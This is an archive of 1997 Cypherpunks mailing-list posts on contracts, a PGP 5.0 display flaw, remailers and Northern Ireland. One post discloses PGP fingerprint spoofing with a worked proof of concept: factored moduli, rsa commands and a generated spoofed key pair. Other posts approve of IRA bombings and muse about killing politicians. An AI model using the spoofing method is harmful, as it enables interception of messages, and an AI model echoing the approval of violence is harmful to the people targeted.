>  Ofcource what I say in a contract is "free". I can say anything I
> want in a contract solong as the parties involved agree.

Are ads a part of the contract, though?

> What is controled is my actions not my speech. If I enter into a
> "contract" to provide borshch on the promise that it will cure your cancer
> *knowing* that it will not then I am guilty of fraud. This fraud is caused
> by my not honoring the contract. The government does not have a right to
> restrict my speech in a contract only as an arbitrator of contracts do
> they have a right to restrict my actions (ie: that I live up to the
> conditions of the contract).

If I enter into a sales contract with Kent to give him borsch to cure
his cancer, and this is not an FDA-approved treatment, then this contract
is against public policy and shouldn't be enforceable. :-)

But to convict me of fraud, the gubmint should prove that borshch doesn't
cure cancer.  How would one prove that?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stewarts at ix.netcom.com  Mon Jun  9 01:09:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 9 Jun 1997 01:09:11 -0700 (PDT)
Subject: PGP 5.0 doesn't tell me Which key a message is signed by! [SEVERITY 1]
Message-ID: <3.0.1.32.19970609010751.0075c738@popd.ix.netcom.com>


-----BEGIN PGP SIGNED MESSAGE-----

Yow!  I'm using PGP 5.0, with the PGPtray and the Eudora Plugin,
in a version that appears to be b14c3 for Win95.

When I receive a signed email message, or check with PGPtray,
it tells me the message is from "User ",
but doesn't tell me it's from KeyID 0x12345678 or the 
fingerprint of the key or anything even vaguely difficult to fake.
Thus, I've signed this message as Phil Zimmermann FAKE ,
and if I'd left out the FAKE it would be difficult to tell it
from a real Phil key.  The GUI happily gives me a message box saying
"Good signature from Phil Zimmermann FAKE ".

We've been discussing 0xDEADBEEF attacks on Cypherpunks and Coderpunks,
but this appears to be far worse - I hope it's been fixed
for the production version?
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5u51kEvGqT1DvpRAQHnwgIAzF7uBmgsk9+c4IZObsnXBJBHuCFEUsMr
3V64azY6Wp156SFgDPGODQvQxzDiQCb96hUz2RK2j7DxfekOZ7rzjw==
=u93K
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From aba at dcs.ex.ac.uk  Sun Jun  8 10:10:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 9 Jun 1997 01:10:21 +0800
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <199701081748.RAA00773@server.test.net>




William Geiger  writes
> Paul Bradley  writes:
> >I live in mainland England. NI, although still violent, is now not the 
> >only place bombed by the IRA, until a few years ago they mainly attacked 
> >targets in NI, they now bomb all over the country.
> 
> Well I can only see this as a good thing. :)
> 
> It is the people of England that support that illegal occupation of Irish
> soil by Brittish troops. It is only right that they should have to suffer
> the consequences.

Personally I would be happy for all UK police and military forces to
pull out of Northern Ireland.  Give it back to them, see if I care.
What difference can it make to me?  Foreign intervention is a waste of
time in my book.

However, here are a few things you might be interested to know.  I
understand the majority of people in Northern Ireland do not want to
be part of Southern Ireland.  The people in NI have been there for
multiple generations, and probably also don't want to be relocated to
England.  Many of these people are English descent and their ancestors
where given land by the British government which was stolen from
native Irish about 300 years ago.  They have also intermarried.
British government was brutal at that time, before they turned soft
and lost their empire.  (You might see parallels with the US, where
you guys are also living on stolen property).

Perhaps most NI people would not actually be that badly off if they
were part of SI.

You should also realise that IRA and supporters are minority in NI
today, for a sense of perspective.

In the mean time the IRA and the opposing paramilitary organisation
blow up, assasinate, knee-cap each other, protestants, catholics, joy
riders, and a few innocent bystanders, and I think both deal in drugs,
and are involved in organised crime to fund their activities.  IRA
makes attempts to blow up UK politicians.  Managed to smuggle rocket
launcher in van with hole cut in roof to within a few hundred yards of
10 Downing St.  But they missed.  (Dimitri says: shame, shame, and
increases Sinn Fein campaign contributions in the hope they are better
funded next time.)

(I forget name, but there is a non-governmental paramilitary group on
other side to IRA in NI, occasionally there is rumor that British Army
is feeding this paramilitary organisation names of IRA suspects to
hit, to save them the trouble).


You guys remember the Faulkland Islands thing under Thatcher?  Some
miniscule lump of rock with a few hundred sheep farmers on it?  UK
government sent warships etc at multiple billion cost.  Would've been
cheaper to desert rock, and give each and every inhabitant a cool $1
million relocation expenses.  But no, had to waste money because some
alterior motive, suitable missile outpost or something.

Wonder what the interest is in Northern Ireland?

Should give the Irish (go Paddy) back Northern Ireland, Scottish
autonomy also (haggis home rule:-).  Wales (leeks) too, yeah.
Fragmented government is a good thing, divide and conquer.  I
understand the Muslims want their own government over here also!

Some Scottish people want home rule (Scottish Independence Party?),
they had a vote on it and lost a while back.  Wales is a poor part of
the country, some richer people have bought second home holiday
cottages in picturesque welsh country side.  Result: drives up prices
for poorer locals.  A few welsh started burning down such cottages.
Some Welsh also want independence.  They have road signs in English
and in a language which most of the locals can't even read.  Similar
thing in Southern Ireland.  (Desparately hanging on to heritage).

Adam

ps Paddy is generic name for an Irishman, a haggis is a stuffed part
of sheeps anatomy, a peculiar highland delicacy, nick name for
Scotsman, leek is a vegetable, some kind of Welsh emblem, and used as
name for Welshman.  Scots call English Sasenachs (I lived in Scotland
for a couple of years, you get so you can understand what it is
they're saying after a while :-).  Not sure of Welsh and Irish names
for English.  US name is `Limey'.  OK `Yankees' :-) Vote Indian home
rule: Running Deer for president.






From kent at songbird.com  Sun Jun  8 10:16:33 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 9 Jun 1997 01:16:33 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970608100006.05695@bywater.songbird.com>



On Sun, Jun 08, 1997 at 10:31:41AM -0500, William H. Geiger III wrote:
>>Drug regulation muddies the waters quite a bit -- the issue is commercial
>>speech in general.  And that issue is a more basic one --
>>some entity (the government, in this case) is designated as the "enforcer
>>of contracts".  Contracts are special documents that by their very nature
>>involve "enforcement".  What you say in a contract binds you.  What you
>>say outside of a contract does not.  What you say in a contract is,
>>therefore, and by definition, not "free". 
>
> Ofcource what I say in a contract is "free". I can say anything I
>want in a contract solong as the parties involved agree.
>
>What is controled is my actions not my speech. If I enter into a
>"contract" to provide borshch on the promise that it will cure your cancer
>*knowing* that it will not then I am guilty of fraud. This fraud is caused
>by my not honoring the contract. The government does not have a right to
>restrict my speech in a contract only as an arbitrator of contracts do
>they have a right to restrict my actions (ie: that I live up to the
>conditions of the contract).

By this reasoning the mutual fund companies don't have restricted
speech either -- they are perfectly free to put whatever they want in
their prospecti -- the government will just come along and restrict
their actions, later.  Therefore, their freedom of speech is in no way
being impinged.

The fact is, a contract, by definition, implies that there are 
remedies, and an authority to enforce those remedies.  Furthermore, 
the rules that the authority uses need to be clear and explicit, and 
people entering into contracts under that authority better follow 
those rules.  In particular, they would be well advised to use speech 
in the contract that the authority understands.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From paul at fatmans.demon.co.uk  Sun Jun  8 10:55:22 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 01:55:22 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 




> >  Ofcource what I say in a contract is "free". I can say anything I
> > want in a contract solong as the parties involved agree.
> 
> Are ads a part of the contract, though?

I wouldn`t say so, in the UK the DTI and the Director of fair trading 
regulates the market in such a way that one cannot make claims that are 
known to be false in advertisements. To use your example, if you post an 
ad saying Borscht  cures cancer, and someone buys beet from you as a 
cure, you will normally have a contract of sale which says "...beet will 
cure all cancer and the customer will regain normal health in this 
respect" etc. etc. If the customer then dies of cancer, you have breached 
that contract. However, the advertisment itself does not take the form of 
a contract, or part thereof, if you had not sold the beet, but only said 
that it cures cancer, your advertisement would have been pure protected 
speech. Besides which, anyone buying Borscht to cure cancer is 
probably better removed from the gene pool anyway ;-).

> If I enter into a sales contract with Kent to give him borsch to cure
> his cancer, and this is not an FDA-approved treatment, then this contract
> is against public policy and shouldn't be enforceable. :-)

Exactly, but of course your only real crime would be the breach of 
contract, not the FDA-Non approval, this breach would of course be a 
civil crime the penalties for which would be part of the contract or 
defined in an external "default penalties" contract which would be 
implicitly #included into the original contract.

> But to convict me of fraud, the gubmint should prove that borshch doesn't
> cure cancer.  How would one prove that?

This is why I think such a contract would not occur, even if it were a 
more sensible example (eg. a few years ago before the mainstream tests, 
saying that AZT prolonged the life of HIV carriers), more likely the 
contract would say that the AZT/Borscht etc. "increased the probability 
of cure/increased the probability of living longer" etc. This would be 
virtually impossible to disprove, unless the improvement probability 
were to be specified. To disprove that Borscht cures cancer 
would be a simple matter which I leave as an exercise to the reader ;-).

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From jamesd at echeque.com  Sun Jun  8 11:15:42 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Mon, 9 Jun 1997 02:15:42 +0800
Subject: FCPUNX:McVeigh
Message-ID: <199706081801.LAA28966@proxy4.ba.best.com>



At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> Bell's Murder Politics scheme was a censorship scheme.

Surely people would be more inclined to kill politicians 
for what they do, rather than what they say.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From nobody at huge.cajones.com  Sun Jun  8 12:43:28 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 9 Jun 1997 03:43:28 +0800
Subject: Julf ordered to reveal anon IDs
Message-ID: <199706081936.MAA00296@fat.doobie.com>



> Julf

Johan Helsingius (Julf) has been ordered to release the identity of the
poster of one of the Scamizdat series of confidential materials. 

"The Court of Appeals of Helsinki (Helsingin hovioikeus) has upheld the
decision of the local court of Helsinki, in which Johan 'Julf' Helsingius
was ordered to reveal the user id of the person who used the anon.penet.fi
server to repost parts of Scamizdat, a collection of secret Scientology
scriptures. 

"In its decision dated 4th of June 1997, the Court of Appeals orders
Helsingius to reveal the names in 30 days after the decision becomes
final. If he doesn't try to appeal the decision it will mean that he has
to reveal the user id within three months. He might appeal the decision to
the Supreme Court within 60 days, in which case the whole thing will take
longer, regardless of whether the Supreme Court chooses to consider the
case or not. 

"The following ID's were used to send material through anon.penet.fi: 
an498608 at anon.penet.fi, an545430 at anon.penet.fi

"The material was a repost of Scamizdat #11, in several parts. The
original repost was done on 15.2.1996, and partly repeated 12.3.1996." 

Message-ID: <5n7g0v$h75 at reimari.uwasa.fi>








From stewarts at ix.netcom.com  Sun Jun  8 12:52:10 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 9 Jun 1997 03:52:10 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <3.0.1.32.19970608123101.02f91bcc@popd.ix.netcom.com>



At 08:49 PM 6/6/97 -0500, Igor Chudov @ home wrote:
>What do remailer operators think about requiring all incoming messages
>to be encrypted?  Would that bring more good than harm?

For security, you need encryption.  There's really no question about it,
and a non-encrypted remailer chain is a joke.

For convenience, you'd rather not need user-visible encryption,
but SSL lets you do an encrypted web interface without the user
needing to do any work.  The catch is that it becomes much harder
to do chained encryption - if the cgi remailer program does it,
the connections from the web remailer through the chain are secure,
but the user still needs to trust the web-remailer.

You may not _want_ too much convenience, to discourage spammers,
but you may be willing to tolerate a joke level of security
as long as the joke is good enough and enjoyed by enough people....

On the balance, I'd say encrypt.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Sun Jun  8 13:35:47 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 9 Jun 1997 04:35:47 +0800
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Message-ID: 




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki at c2.org using -f
X-Sender: baum at world.std.com
Date: Sun, 08 Jun 1997 09:46:14 -0400
To: spki at c2.net
From: "Michael S. Baum" 
Subject: Call for Papers: Jurimetrics Special Edition on PKI
Mime-Version: 1.0
Sender: owner-spki at c2.net
Precedence: bulk


*** Announcement ***


JURIMETRICS

Winter 1998

Special Issue on Public Key Infrastructure

(Security in Electronic Commerce: Technology, Infrastructure and
Practices for Certification Authorities and Digital Signatures)



I. Contents of this Solicitation

� General Information
� Call for Papers
� Criteria for Papers
� Submission Information
� Important Dates
� Virtual Conference
� Organization
� Inquiries


 II. General Information

We are pleased to announce the planned publication of a special issue of
the Jurimetrics Journal of Law, Science and Technology that will
exclusively address public key infrastructure (PKI) -- the law and
technology of certificate-based digital signatures and secure electronic
commerce. This announcement solicits articles for consideration for this
special Winter 1998 issue, which is intended as a forum for attorneys,
technologists, developers, and users interested in the legal aspects and
implications of PKI.

Jurimetrics Journal of Law, Science and Technology, published quarterly, is
the journal of the American Bar Association Section of Science and
Technology and the Center for the Study of Law, Science and Technology of
the Arizona State University College of Law.

The Information Security Committee, Electronic Commerce Division, Section
of Science and Technology of the American Bar Association (ISC) explores
and develops legal policy and foundation to support PKI and secure
electronic commerce. The ICS�s current endeavors include research and work
product concerning: accreditation of certification authorities, commercial
key escrow guidelines, PKI evidentiary issues, digital signature
legislative initiatives, CA and user liability, and other legal issues
relating to secure electronic commerce. The discussions are moderated by
the relevant Work Groups of the ISC, and the ISC is open to professionals
of all disciplines with similar interests. In August l996, the ISC
published the Digital Signature Guidelines.  See Tutorial, Table of
Contents, and List of Contributors of the Digital Signature Guidelines at
http://www.abanet.org/scitech/ec/isc/dsg-tutorial.html.


 III. Call for Papers

 Papers are invited on all subjects related to applications of PKI and
their corresponding legal issues. The special edition is structured as
follows:

� Preface
� Introduction
� Tutorial, Architecture and Technology
� International Issues
� Liability, Contractual, Intellectual Property, and other Substantive
Legal Issues
� Government � Legislative, Regulatory, Policy, Enforcement
� Accreditation of Certification Authorities (including licensure and other
quality issues)
� Miscellaneous

Papers submitted should be concise and focused on the kernel rather than
exhaustive detail of new ideas intended to be communicated.  Papers should
not restate basic PKI technology but instead refer to the common tutorial
located in the introductory materials.

We thank you in advance for your submissions to this special issue of
Jurimetrics on PKI.


IV. Criteria for Papers

Preference will be given to papers that comply with the following criteria:

� are no longer than 8,000 words (under 10 pages, 12 point type, single spaced)
� provide appropriate annotation
� include URLs in annotations, where available
� consider both legal and technical issues/implications
� involve joint authorship between a lawyer and technologist
� are original works not previously published elsewhere
� conformance to the instructions for prospective Jurimetrics authors
posted at    http://www.asu.edu/law/jurimetrics/author.htm


 V. Submission Information

Send brief but informative abstract of one or two pages as an email
attachment to jurimetrics at cnidr.org. If possible, please use Word 6.0
(Office 95) to facilitate handling. A one paragraph bio is also requested
but not required.


 VI. Important Dates

� Abstracts must be submitted by: 25 June 1997
� Deadline for submission of drafts: 15 October 1997
� Final version ready, after all cite checks and editorial changes: 31
December 1997
� Publication of Jurimetrics special issue on PKI: February 1998


VII. Virtual Conference

All papers accepted to Jurimetrics Winter 1998 special issue on PKI will
appear in full or abstract form in a Virtual Conference Center hosted by
the ISC.  The PKI community will have the opportunity to participate in
discussions with the authors using e-mail and the World Wide Web. The
Virtual Conference Center will feature a variety of electronic for a
moderated by leading PKI experts for the facilitation of communication
within the virtual PKI/law & technology community.


VIII. Organization for the Jurimetrics Special Issue on PKI

Guest Editor-in-Chief:

     Michael S. Baum, Esq., VP, Practices and External Affairs, VeriSign, Inc.

  Associate Guest Editors:

     Joseph H. Alhadeff, Esq., Director, Electronic Commerce, U.S. Council
for Int�l Business (USCIB)
     Warwick Ford, Ph.D., Director, Advanced Technology, Verisign, Inc.
     Theodore Ling, Esq., Baker & McKenzie, Toronto, Ontario.
     Charles R. Merrill, Esq., McCarter & English, Newark, NJ.
     Arthur F. Purcell, J.D., International Project Specialist, US Patent &
Trademark Office
     Ruven Schwartz, Esq., Info. Security, West Group Business Manager


XI. Inquiries

If you need help or have questions which are not answered in the above
information, please e-mail: jurimetrics at cnidr.org

***





--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Sun Jun  8 13:36:33 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 9 Jun 1997 04:36:33 +0800
Subject: FC97 in July Wired
Message-ID: 



About the third thing I imagined, after imagining the world's first
financial cryptography conference, and, better yet, having it on Anguilla
in February; and, after imagining it as Wired's featured 'Deductible
Junket'; was imagining a nice feature article in Wired on the conference
after it was all over.

Thanks to Charles Platt, I now figure I can die and go to heaven, as all
three have happened. :-). Out of Town Newspapers in Harvard Square says
they'll have the July Wired next Friday. It appears that Vince gets a
subscription down in Anguilla, which got there yesterday, and probably
everywhere else, I reckon. So, the checks may take 90 days to clear in
Anguilla, but at least the mail gets there on time...

Stay tuned for details (as we imagine them :-)) about FC98, and about the
FC97 conference proceedings, which should be published by Springer-Verlag
this summer.



Cheers,
Bob Hettinga,
General Chairman,
Financial Cryptography, 1997/98,
Anguilla, BVI

P.S. if you, or anyone you know, is interested in FC98 sponsorship or
exhibition space opportunities, please contact me.

--- begin forwarded text


Resent-Date: Sun, 8 Jun 1997 08:57:10 -0400
X-Authentication-Warning: online.offshore.com.ai: list set sender to
fc97-request at offshore.com.ai using -f
Date: Sun, 8 Jun 1997 08:57:04 -0400 (AST)
From: Vincent Cate 
To: fc97 at online.offshore.com.ai
cc: ois-news at online.offshore.com.ai
Subject: FC97 in July Wired
MIME-Version: 1.0
Resent-From: fc97 at offshore.com.ai
X-Mailing-List:  archive/latest/57
X-Loop: fc97 at offshore.com.ai
Precedence: list
Resent-Sender: fc97-request at offshore.com.ai


The July issue of Wired magazine has an article about the Financial
Cryptography 97 conference held in Anguilla.

    -- Vince

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince at Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From aba at dcs.ex.ac.uk  Sun Jun  8 14:02:04 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 9 Jun 1997 05:02:04 +0800
Subject: PGP key fingerprint spoofing
Message-ID: <199706082051.VAA05211@server.test.net>




Well we're all aware of the 0xDEADBEEF attack, right?  (PGP keyids,
are the 8 hex digit number which PGP recognizes a key by.  The
0xDEADBEEF attack (so christened by Greg Rose one of the people who
independently rediscovered this attack) is where you generate a PGP
key which has the same key id as someone else's key.  This could
confuse a keyserver, or a user into using the wrong key.  This attack
is fairly easy to do, just choose p ending in 0xDEADBEEF (or whatever
the desired key id is), then start with q ending in 0x00000001, and
add some value larger than 0xFFFFFFFF at each iteration doing your
primality test, the p and q will then multiply to have the desired
least significant bits of n).  You may also have noticed that Gary
Howland has a keyid of 0xc001d00d ("cool dude", get it).

Anyway it seems that you can spoof the finger print also indirectly,
which is much less obvious, as the fingerprint is the MD5 hash of the
RSA modulus concatenated with the RSA public exponent.

This was described recently on coderpunks.  (I was forced to eat my
words on coderpunks after declaring this was impossible without an
exploitable flaw in MD5 or brute force of 2**128 bit search space,
when someone explained the concatenation weakness).  I'm not sure who
it was that discovered this attack, or which list/newsgroup this was
announced on, but this was the first I had seen it discussed.

The concatenation is the weakness, as if you have an RSA key of:

n = 0x1234567
e = 0x11

Then you can try n = 0x12345, and e = 0x6711.  So you try factoring
each n of this form, and if it has two factors p and q, then you can
construct a key with the same fingerprint, but with different key.
Anyone who bothers to would be able to factor 0x1234567 also, so it is
not secure, but if you can fool someone into using this key in place
of the real one, you can get their communications.  It will be much
easier to fool someone to use this key as the fingerprint is the same!

Here's an example...

Say we have a 1024 bit key, say e is small ( < 256).  That means
n || e is 129 bytes long.

The e value must be represented by a whole byte.  n can't be smaller
than 384 bits (or PGP will reject it as too small to hold the required
idea message key and padding), so that will give us 80 possible values
for e and n.  Lets use my 1024 bit key for an example.

n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba6aee51469e5b59b121ba6f3f8d776b62
      7253ba5dc9fca8155a565b9893f695d83a0496eb977ee4659ee20e0f2eb49b25
      93c11487b377cc5d767c79fb985b464d4ae94a5f45e42e3b29c8b89d556a4a67
e = 0x13

So we could try:

e = 0x6713
e = 0x4a6713
e = 0x6a4a6713
...
n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba
      
e = 0x6aee51469e5b59b121ba6f3f8d776b627253ba5dc9fca8155a565b9893f695d8
      3a0496eb977ee4659ee20e0f2eb49b2593c11487b377cc5d767c79fb985b464d
      4ae94a5f45e42e3b29c8b89d556a4a6713

Here's the first candidate I found with only two factors starting from
the smallest n value (384 bit n) so that it would be quicker to
factorize (anything that took a long time to factor I moved on to next
value).

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465
e = 0x9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B
      29C8B89D556A4A6713

p = 0x6D

q = 0x1694DA7CA7DC9B69CD9ECAAC8BCDF6A41988A31132573CFD6EF72CC44FFF5330
      69074D8CB3F0974586892A25D2F3A08C19173D406266A82CCA3C3F4D705CAF78
      23922972C20D99D8DBF07E2DE20CB5B3B3F747797B3A8D9

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465

d = 0x0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886
      EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA
      173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53

u = 0x0162AC862E1D88F2ACC3230A4AED13AEC3EA4A978387684ADA099644FF9FAA3D
      D51F6BA831347C5D12AD1CDC72F5FE40F66228E54573373C4A0F255A091879BC
      F2EA9509D46B673CB7C4EB8EDA0D6754DC373EA911653504

(Factorization courtesy of pollard rho / trial division code in the
factorization code which comes in ssh-1.2.20, which includes a
modified gmp-2.0.2 which has the code in the demos directory.)

I checked RSA operation (with my .sig rsa program which works with hex
numbers rather than formatted pgp keys) -- it works!!

% echo hello world | rsa -k=9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B29C8B89D556A4A6713 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 > out
%
% rsa -k=0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 < out
hello world
%

I'm off to pack this up as a PGP key, to see if PGP likes it!

Well here's that key as a pgp key.  Under no circumstances use it to
encrypt a message you care about.  Here's the public key.

Type Bits/KeyID    Date       User ID
pub   704/977EE465 1997/06/08 Adam Back 

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
tCpBZGFtIEJhY2sgPHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT6JAG0D
BRAzmxOtOgSW65d+5GUBAQ27ArwOTveQTs0kjzBEMa09yWFs5+jNjv5tzSCngzXO
bRzvwhTwWz4voR3ov2o0bGTYZF1biKRKeKqZzHb4Oq4XhD4TADdlmsxA5gQgbYFN
5K+tbgWEDQD53KFv
=rlth
-----END PGP PUBLIC KEY BLOCK-----

Here's the secret half:

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQGhAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
AAK7BFVBnDuMzlRxDsBPn6Yfg6XiNjvg0uNhiGCAcW57iIbqYrdI8guenn+T92hh
bTr1+HhdUUqC7kHLH/JR/7BT+hc9CyOde9GZW09947KxEvkRvhMERT6sUwAHbQK5
AWlNp8p9ybac2eyqyLzfakGYijETJXPP1u9yzET/9TMGkHTYyz8JdFhokqJdLzoI
wZFz1AYmaoLMo8P01wXK94I5IpcsINmdjb8H4t4gy1s7P3R3l7Oo2QK5AWKshi4d
iPKswyMKSu0TrsPqSpeDh2hK2gmWRP+fqj3VH2uoMTR8XRKtHNxy9f5A9mIo5UVz
NzxKDyVaCRh5vPLqlQnUa2c8t8TrjtoNZ1TcNz6pEWU1BIRbtCpBZGFtIEJhY2sg
PHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT4=
=lE9S
-----END PGP SECRET KEY BLOCK-----

Here are the fingerprints of spoofed key as compared to real key.

Type Bits/KeyID    Date       User ID

pub   704/977EE465 1997/06/08 Adam Back 
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

pub  1024/556A4A67 1993/06/08 Adam Back 
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

Note the identical fingerprints!  (Awesome).

Key id of course is different.

Also note that you can't decrypt directly with PGP, as I suspected,
because the chinese remainder theorem used in decrypt to speed up the
works barfs on small p.  You can hack around that if you're bothered.
It might be possible to find a spoofed fingerprint key with large p
and q, so that this was not a problem.

Below this post is my real key.

This is a major security flaw, and I take my hat off to the guy who
discovered it.

As others noted (who were aware of this flaw) the solution is to
consider the keyid as part of the fingerprint.  That reduces by a
factor of 2^32 the likelihood of the attack succeeding.  I suspect
that rules out the attack working for most keys.  Also be suspicous of
odd sized keys.  Now if someones 2048 bit key has a 1024 bit spoof,
you're in trouble.  I'd be interested in estimates of the likelihood
of this being possible for a randomly selected key.

You could construct a key where the keyid matched, and the fingerprint
matched for two different keys, using a combination of dead beef
attack, and brute force to find a key with the keyid appearing two
places in the key, and then trying to factor the n value at that
point.  Shouldn't take long.

As far as PGP format goes, adding the length field into the digest
would go along way towards fixing it.  (Length fields for pgp big int
representation is big endian 16 bit word representing length of
following big int in bits).

There might still be a small chance of doing the fingerprint spoof
where the length fields both happened to be right.  As you require a
specific length field it would seem this attack would be 2^32 times
less likely to succeed.  This would make most keys safe.  I wonder if
there exists a key out there which would fall to this attack.

(btw for people playing with this stuff, a useful program is
pgpacket.pl by Mark Shoulsen, which displays pgp packets as hex
numbers, see ftp.ox.ac.uk/pgp somewhere under utils).

Adam

My real key, so you can compare fingerprints.

Type Bits/KeyID    Date       User ID
pub  1024/556A4A67 1993/06/08 Adam Back 

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAiwUXUEAAAEEAJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GWe4g4PLrSbJZPBFIezd8xddnx5+5hbRk1K6UpfReQuOynIuJ1VakpnAAUT
